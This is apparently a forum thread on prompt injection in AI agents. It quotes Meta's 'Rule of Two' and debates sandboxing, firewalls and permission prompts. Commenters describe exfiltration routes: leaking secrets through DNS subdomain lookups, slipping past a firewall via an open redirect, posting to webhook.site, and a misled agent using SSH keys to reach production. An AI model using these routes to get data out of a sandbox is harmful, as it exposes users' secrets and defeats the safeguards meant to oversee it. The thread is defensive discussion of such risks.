https://simonwillison.net/2025/Nov/2/new-prompt-injection-pa...

Meta wrote a post that went through the various scenarios and called it the "Rule of Two"

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At a high level, the Agents Rule of Two states that until robustness research allows us to reliably detect and refuse prompt injection, agents must satisfy no more than two of the following three properties within a session to avoid the highest impact consequences of prompt injection.

[A] An agent can process untrustworthy inputs

[B] An agent can have access to sensitive systems or private data

[C] An agent can change state or communicate externally

It’s still possible that all three properties are necessary to carry out a request. If an agent requires all three without starting a new session (i.e., with a fresh context window), then the agent should not be permitted to operate autonomously and at a minimum requires supervision --- via human-in-the-loop approval or another reliable means of validation.

Not just the LLM, but any code that the LLM outputs also has to be firewalled.

Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help.

Also, the firewall has to block most DNS traffic, otherwise the model could query `A <secret>.evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't be allowed.

katakate[1] is still incomplete, but something that it is the solution here. Run the LLM and its code in firewalled VMs.

[1]: https://github.com/Katakate/k7

And here we have google pushing their Gemini offering inside the Google cloud environment (docs, files, gmail etc) at every turn. What could possibly go wrong?

Why not just do remote model isolation? Like remote browser isolation. Run your local model / agent on a little box that has access to the internet and also has your repository, but doesn't have anything else. Like BrowserBox.

You interact with and drive the agent over a secure channel to your local machine, protected with this extra layer.

Is the source-code the secret you are trying to protect? Okay, no internet for you. Do you keep production secrets in your source-code? Okay, no programming permissions for you. ;)

How will the firewall for LLM look like? Because the problem is real, there will be a solution. Manually approve domains it can do HTTP requests to, like old school Windows firewalls?

Maybe an XOR: if it can access the internet then it should be sandboxed locally and don’t trust anything it creates (scripts, binaries) or it can read and write locally but cannot talk to the internet?

i like how claude code currently does it. it asks permission for every command to be ran before doing so. now having a local model with this behavior will certainly mitigate this behavior. imagine before the AI hits the webhook.site it asks you

AI will visit site webhook.site..... allow this command? 1. Yes 2. No

The sad thing is, that they've attempted to do so, but left a site enabling arbitrary redirects, which defeats the purpose of the firewall for an informed attacker.

yy

I mean... If they tried, they could exploit some known CVE. I'd bet more on a scenario along the lines of:

"well, here's the user's SSH key and the list of known hosts, let's log into the prod to fetch the DB connection string to test my new code informed by this kind stranger on prod data".

We fixed these in determinate contexts only for the most part. SQL injection specifically requires the use of parametrized values typically. Frontend frameworks don't render random strings as HTML unless it's specifically marked as trusted.

I don't see us solving LLM vulnerabilities without severely crippling LLM performance/capabilities.

> We have found ways to mitigate these types of issues for regular code, so I think it's a matter of time before we solve this for LLMs.

We've been talking about prompt injection for over three years now. Right from the start the obvious fix has been to separate data from instructions (as seen in parameterized SQL queries etc)... and nobody has cracked a way to actually do that yet.

Yes, plenty of other injections exist, I meant to include those.

What I meant, that at the end of the day, the instructions for LLMs will still contain untrusted data and we can't separate the two.